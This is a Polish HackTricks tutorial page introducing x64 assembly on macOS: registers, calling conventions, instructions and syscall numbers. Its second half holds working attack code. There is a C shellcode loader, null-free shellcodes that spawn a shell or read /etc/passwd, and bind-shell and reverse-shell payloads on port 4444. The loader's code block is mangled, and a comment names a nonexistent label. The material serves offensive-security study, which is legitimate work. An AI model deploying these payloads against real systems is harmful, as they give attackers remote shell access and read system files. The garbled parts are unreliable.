hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md
2024-04-06 19:35:05 +00:00

434 lines
15 KiB
Markdown

# Introduction to x64
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## **Wprowadzenie do x64**
x64, znany również jako x86-64, to architektura procesora 64-bitowa, stosowana głównie w komputerach stacjonarnych i serwerach. Wywodząc się z architektury x86 opracowanej przez Intel, a później przyjętej przez AMD pod nazwą AMD64, jest dominującą architekturą w dzisiejszych komputerach osobistych i serwerach.
### **Rejestry**
x64 rozwija architekturę x86, oferując **16 rejestrów ogólnego przeznaczenia** oznaczonych jako `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi` oraz `r8` do `r15`. Każdy z nich może przechowywać wartość **64-bitową** (8 bajtów). Rejestry te posiadają również podrejestry o rozmiarze 32-bitowym, 16-bitowym i 8-bitowym, zapewniające kompatybilność i obsługę określonych zadań.
1. **`rax`** - Tradycyjnie używany do **zwracania wartości** z funkcji.
2. **`rbx`** - Często używany jako **rejestr bazowy** do operacji na pamięci.
3. **`rcx`** - Powszechnie używany jako **licznik pętli**.
4. **`rdx`** - Używany w różnych rolach, w tym do rozszerzonych operacji arytmetycznych.
5. **`rbp`** - **Wskaźnik bazowy** dla ramki stosu.
6. **`rsp`** - **Wskaźnik stosu**, śledzący górę stosu.
7. **`rsi`** i **`rdi`** - Używane jako **indeksy źródła** i **docelowe** w operacjach na łańcuchach/pamięci.
8. **`r8`** do **`r15`** - Dodatkowe rejestry ogólnego przeznaczenia wprowadzone w x64.
### **Konwencja wywoływania**
Konwencja wywoływania x64 różni się w zależności od systemu operacyjnego. Na przykład:
* **Windows**: Pierwsze **cztery parametry** są przekazywane w rejestrach **`rcx`**, **`rdx`**, **`r8`** i **`r9`**. Kolejne parametry są umieszczane na stosie. Wartość zwracana znajduje się w rejestrze **`rax`**.
* **System V (powszechnie stosowany w systemach UNIX-podobnych)**: Pierwsze **sześć parametrów całkowitych lub wskaźników** jest przekazywanych w rejestrach **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`** i **`r9`**. Wartość zwracana również znajduje się w rejestrze **`rax`**.
Jeśli funkcja ma więcej niż sześć parametrów, **reszta zostanie przekazana na stos**. **RSP**, wskaźnik stosu, musi być **wyrównany do 16 bajtów**, co oznacza, że adres, na który wskazuje, musi być podzielny przez 16 przed wykonaniem jakiegokolwiek wywołania. Oznacza to, że normalnie musielibyśmy upewnić się, że RSP jest odpowiednio wyrównany w naszym kodzie shell przed wykonaniem wywołania funkcji. Jednak w praktyce wywołania systemowe często działają nawet jeśli ten wymóg nie jest spełniony.
### Konwencja wywoływania w Swift
Swift ma swoją własną **konwencję wywoływania**, którą można znaleźć pod adresem [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64)
### **Wspólne instrukcje**
Instrukcje x64 posiadają bogaty zestaw, zachowując kompatybilność z wcześniejszymi instrukcjami x86 i wprowadzając nowe.
* **`mov`**: **Przenosi** wartość z jednego **rejestru** lub **lokalizacji pamięci** do drugiego.
* Przykład: `mov rax, rbx` — Przenosi wartość z `rbx` do `rax`.
* **`push`** i **`pop`**: Odkłada lub zdejmuje wartości ze **stosu**.
* Przykład: `push rax` — Odkłada wartość z `rax` na stos.
* Przykład: `pop rax` — Zdejmuje wartość ze szczytu stosu do `rax`.
* **`add`** i **`sub`**: Operacje **dodawania** i **odejmowania**.
* Przykład: `add rax, rcx` — Dodaje wartości w `rax` i `rcx`, przechowując wynik w `rax`.
* **`mul`** i **`div`**: Operacje **mnożenia** i **dzielenia**. Uwaga: mają one określone zachowanie w odniesieniu do użycia operandów.
* **`call`** i **`ret`**: Służą do **wywoływania** i **powrotu z funkcji**.
* **`int`**: Służy do wywołania oprogramowania **przerwania**. Na przykład `int 0x80` było używane do wywoływania systemu w 32-bitowym x86 Linux.
* **`cmp`**: Porównuje dwie wartości i ustawia flagi CPU na podstawie wyniku.
* Przykład: `cmp rax, rdx` — Porównuje `rax` z `rdx`.
* **`je`, `jne`, `jl`, `jge`, ...**: Instrukcje **skoku warunkowego**, które zmieniają przepływ sterowania na podstawie wyników wcześniejszego `cmp` lub testu.
* Przykład: Po instrukcji `cmp rax, rdx`, `je label` — Skacze do `label`, jeśli `rax` jest równy `rdx`.
* **`syscall`**: Używane do **wywołań systemowych** w niektórych systemach x64 (np. nowoczesne Unixy).
* **`sysenter`**: Zoptymalizowana instrukcja **wywołania systemowego** na niektórych platformach.
### **Prolog funkcji**
1. **Odkładanie starego wskaźnika bazowego**: `push rbp` (zapisuje wskaźnik bazowy wywołującego)
2. **Przenoszenie bieżącego wskaźnika stosu do wskaźnika bazowego**: `mov rbp, rsp` (ustawia nowy wskaźnik bazowy dla bieżącej funkcji)
3. **Alokowanie miejsca na stosie dla zmiennych lokalnych**: `sub rsp, <rozmiar>` (gdzie `<rozmiar>` to liczba bajtów potrzebna)
### **Epilog funkcji**
1. **Przenoszenie bieżącego wskaźnika bazowego do wskaźnika stosu**: `mov rsp, rbp` (dezalokuje zmienne lokalne)
2. **Zdejmowanie starego wskaźnika bazowego ze stosu**: \`pop rbp
## macOS
### syscalle
Istnieją różne klasy syscalle, możesz je znaleźć [**tutaj**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
```c
#define SYSCALL_CLASS_NONE 0 /* Invalid */
#define SYSCALL_CLASS_MACH 1 /* Mach */
#define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */
#define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
```
Następnie, możesz znaleźć numer każdego wywołania systemowego [**w tym adresie URL**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:**
```c
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
1 AUE_EXIT ALL { void exit(int rval); }
2 AUE_FORK ALL { int fork(void); }
3 AUE_NULL ALL { user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4 AUE_NULL ALL { user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5 AUE_OPEN_RWTC ALL { int open(user_addr_t path, int flags, int mode); }
6 AUE_CLOSE ALL { int close(int fd); }
7 AUE_WAIT4 ALL { int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8 AUE_NULL ALL { int nosys(void); } { old creat }
9 AUE_LINK ALL { int link(user_addr_t path, user_addr_t link); }
10 AUE_UNLINK ALL { int unlink(user_addr_t path); }
11 AUE_NULL ALL { int nosys(void); } { old execv }
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
[...]
```
Aby wywołać `open` syscall (**5**) z klasy **Unix/BSD**, musisz dodać: `0x2000000`
Więc numer syscalla do wywołania open to `0x2000005`
### Shellkody
Aby skompilować:
{% code overflow="wrap" %}
```bash
nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
```
{% endcode %}
Aby wyodrębnić bajty:
{% code overflow="wrap" %}
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
```
{% endcode %}
<details>
<summary>Kod C do testowania shellcode'u</summary>
\`\`\`c // code from https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include
int (\*sc)();
char shellcode\[] = "";
int main(int argc, char \*\*argv) { printf("\[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void \*ptr = mmap(0, 0x1000, PROT\_WRITE | PROT\_READ, MAP\_ANON | MAP\_PRIVATE | MAP\_JIT, -1, 0);
if (ptr == MAP\_FAILED) { perror("mmap"); exit(-1); } printf("\[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
void \*dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("\[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT\_EXEC | PROT\_READ);
if (status == -1) { perror("mprotect"); exit(-1); } printf("\[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
printf("\[>] Trying to execute shellcode...\n");
sc = ptr; sc();
return 0; }
````
</details>
#### Powłoka
Pobrane z [**tutaj**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) i wyjaśnione.
<div data-gb-custom-block data-tag="tabs">
<div data-gb-custom-block data-tag="tab" data-title='z adr'></div>
```armasm
bits 64
global _main
_main:
call r_cmd64
db '/bin/zsh', 0
r_cmd64: ; the call placed a pointer to db (argv[2])
pop rdi ; arg1 from the stack placed by the call to l_cmd64
xor rdx, rdx ; store null arg3
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
````
```armasm
bits 64
global _main
_main:
xor rdx, rdx ; zero our RDX
push rdx ; push NULL string terminator
mov rbx, '/bin/zsh' ; move the path into RBX
push rbx ; push the path, to the stack
mov rdi, rsp ; store the stack pointer in RDI (arg1)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
**Odczytaj za pomocą polecenia cat**
Celem jest wykonanie polecenia `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, więc drugi argument (x1) jest tablicą parametrów (które w pamięci oznaczają stos adresów).
```armasm
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48`
lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"
; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi ; Add "/etc/passwd" to the stack (arg0)
push rdi ; Add "/bin/cat" to the stack (arg1)
; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp ; argv=rsp - store RSP's value in RSI
xor rdx, rdx ; Clear rdx to hold NULL (no environment variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall ; Make the syscall
section .data
cat_path: db "/bin/cat", 0
passwd_path: db "/etc/passwd", 0
```
**Wywołaj polecenie za pomocą sh**
```armasm
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 32 ; Create space on the stack
; Argument array
lea rdi, [rel touch_command]
push rdi ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi ; push &"-c"
lea rdi, [rel sh_path]
push rdi ; push &"/bin/sh"
; execve syscall
mov rsi, rsp ; rsi = pointer to argument array
xor rdx, rdx ; rdx = NULL (no env variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
_exit:
xor rdi, rdi ; Exit status code 0
push 1 ; put 1 on the stack (exit syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
section .data
sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0
```
**Powłoka bind**
Powłoka bind ze strony [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) na **porcie 4444**
```armasm
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xffffffffa3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; bind(host_sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x68
syscall
; listen(host_sockid, 2)
xor rsi, rsi
mov sil, 0x2
mov rax, r8
mov al, 0x6a
syscall
; accept(host_sockid, 0, 0)
xor rsi, rsi
xor rdx, rdx
mov rax, r8
mov al, 0x1e
syscall
mov rdi, rax
mov sil, 0x3
dup2:
; dup2(client_sockid, 2)
; -> dup2(client_sockid, 1)
; -> dup2(client_sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
mov rax, r8
mov al, 0x3b
syscall
```
**Odwrócony Shell**
Odwrócony shell dostępny pod adresem [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Odwrócony shell do **127.0.0.1:4444**.
```armasm
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xfeffff80a3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; connect(sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x62
syscall
xor rsi, rsi
mov sil, 0x3
dup2:
; dup2(sockid, 2)
; -> dup2(sockid, 1)
; -> dup2(sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
xor rdx, rdx
mov rax, r8
mov al, 0x3b
syscall
```
</details>